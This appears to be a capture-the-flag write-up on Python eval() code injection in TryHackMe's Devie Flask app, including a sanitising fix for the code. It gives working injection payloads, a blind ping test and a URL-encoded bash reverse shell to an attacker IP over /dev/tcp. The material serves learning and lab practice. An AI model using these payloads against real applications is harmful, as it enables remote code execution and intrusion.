Code injections typically occur when a web application, script or some other program allows untrusted user input to be directly included in code. By ‘directly included’, I mean that the input supplied by the user is not filtered or sanitized in any way before being passed to, for example, an eval function within a web application. A common CTF example is a calculator embedded in a web app that takes user input and then sends that input directly to eval() as an argument. Here is OWASP’s summary of this vulnerability along with a basic PHP code injection example.

Code Injection in a Python Web App

A good way to understand how code injection through the Python eval() method works is by doing this yourself in the Python CLI. What you’re essentially doing is constructing a miniature Python application made up of a single string, which is necessary because the eval() method only takes one argument. The difference between code injection and command injection can sometimes be confusing, since in the following example we are injecting code that will ultimately execute commands on the system. The distinction OWASP makes between the two is that Command Injection doesn’t require any type of Code Injection to take place beforehand.

To demonstrate executing python code that will then execute a system command through the eval method, start the Python CLI from your terminal

$> python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

Then enter this line at the command prompt eval("__import__('os').system('id')")

>>> eval("__import__('os').system('id')")
uid=1000(gregscharf) gid=1000(gregscharf) groups=1000(gregscharf)
0

As seen above we have executed the system command id using a very compact single line of Python code. This shows the danger of taking user input and sending it directly to the eval method without any type of sanitization or validation. In the THM Devie example below the id command will be replaced with a bash reverse shell.

If you’re familiar with spawning a pty (pseudoterminal) using python3 -c "import pty;pty.spawn('/bin/bash')" then your first instinct might be to do something like eval("import os; system('id')"), but that isn’t going to work in this case. If you’ve seen other python code injection payloads then you’ve probably seen the double underscore syntax being used: __import__('os'). This is necessary to dynamically import a module inside an application that is already running. You could use that same syntax in any python application, and it will work just fine, but when you’re tampering with an already running python application, like we are now, then only the double underscore syntax will be successful.

TryHackMe Devie Example

In TryHackMe’s Devie room the home page displays inputs for 3 separate mathematical formulas on the home page.

Math App

The code for this application is given to us via a download link at the bottom of the page. Having the actual code to look through makes finding any potential vulnerabilities much easier. Looking through app.py, which is the entry point for this Python Flask application, we see eval being used inside the bisect method

@app.route("/")
def bisect(xa,xb):
    added = xa + " + " + xb
    c = eval(added)
    c = int(c)/2
    ya = (int(xa)**6) - int(xa) - 1 #f(a)
    yb = (int(xb)**6) - int(xb) - 1 #f(b)

@app.route("/") means this method will be invoked on the home page.

There are also methods to handle input from the other two formulas. For example the compute method is being used to calculate the Quadratic Formula

@app.route("/")
def compute(a,b,c):
    disc = b*b - 4*a*c
    n_format = "{0:.2f}" #Format to 2 decimal spaces

The other two methods pass in floats as parameters as seen in the above example. But for the bisect method the developer decided to use strings as parameters in order to use eval() to compute the results of the formula represented as a string.

def bisect(xa,xb):
    added = xa + " + " + xb
    c = eval(added)

So our point of attack is going to be the bisect formula.

While there aren’t many cases where eval is necessary in code, if for some reason it does need to be used then any user controlled input should be sanitized. One way to make the above code secure and immune to an injection attack would be to make the following changes

def bisect(xa,xb):
    added = str(float(xa)) + " + " + str(float(xb))
    c = eval(added)

str(float(xa)) converts the string variable xa to a float and then converts the resultant float back to a string again. Once that is added, if anything other than a number is found in the strings xa or xb the float conversion will throw an error and the eval function will not be executed. There should also be some exception handling taking place there so the application fails gracefully, but that’s beyond the current scope.

It’s best to attempt these injections using Burp since you will probably need to test more than a few payloads. First we’ll try

xa=__import__('os').popen('id').read()&xb=3

poopen returns a file-like object that represents a pipe to a new linux process that will ultimately run the id command. The output of that command will then be displayed via the read method.

Burp Failed Request

As seen in the screenshot above we get a 500 internal server error after we attempt our injection, which means we might have something. If you get an error on the screen or no output at all from your command, this does not necessarily mean your injection was unsuccessful. You could be dealing with a Blind Injection, meaning you will not visibly see the results in any of the application’s output. To test for a blind injection you can try a ping command back to your own machine, because even if there is an error on the screen or you’re not seeing output, it is possible that your command is still executing on the server.

We’ll start tcpdump on your attack machine to listen for the icmp packets will attempt to send with our injected payload. You will need to be using a network interface that can be reached from the victim. Since this is a lab our attack machine is on the same network as the victim via our openvpn connection. In the real world you would need some publicly routable ip address that the victim could connect back to. -X icmp tells tcpdump to only capture icmp packets. Otherwise you will see all the traffic going over the tun0 interface and it will be difficult to see when a ping request comes through

..[$] <()> sudo tcpdump -i tun0 -X icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

In Burp attempt to ping your attack box with the following

xa=__import__('os').system('ping -c 3 10.10.54.54')&xb=3
Burp Ping

The above command will attempt to ping the ip address of our attack machine 3 times. It’s important to add the -c 3 because on linux the ping command will by default send infinite ping requests, whereas on windows ping will only send 4 icmp requests by default.

As seen in the screenshot below tcpdump captured icmp packets from our ping request so our command was successful.

tcpdump

Now to execute a reverse shell

xa=__import__('os').system('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.54.54/7001+0>%261"')&xb=3

Oftentimes you will need to try different combinations of quotes, back ticks, url encoding etc until you hit on something that works. The following basic reverse shell one liner will be used

bash -i >& /dev/tcp/10.10.54.54/7001 0>&1

This also needed to be executed via bash -c, because our command is being executed within the context of a running python application and is not being executed within the context of a bash shell. bash -c forces our command to execute within the context of a bash shell. The full command will be

bash-c "bash -i >& /dev/tcp/10.10.54.54/7001 0>&1"

Everything after bash -c also needed to be surrounded with double quotes otherwise -c assumes the first full string it encounters is the name of a file, so without adding quotes bash -c would attempt to execute a script named bash since bash is the first full string after it. That would look like this bash -c bash. The entire string also needed to be url encoded, which can quickly be done in Burp by selecting/highlighting the entire line and then clicking ctrl+u. You can also remove url encoding from a string by highlighting it and clicking ctrl+shift+u.

Burp Shell Request Reverse Shell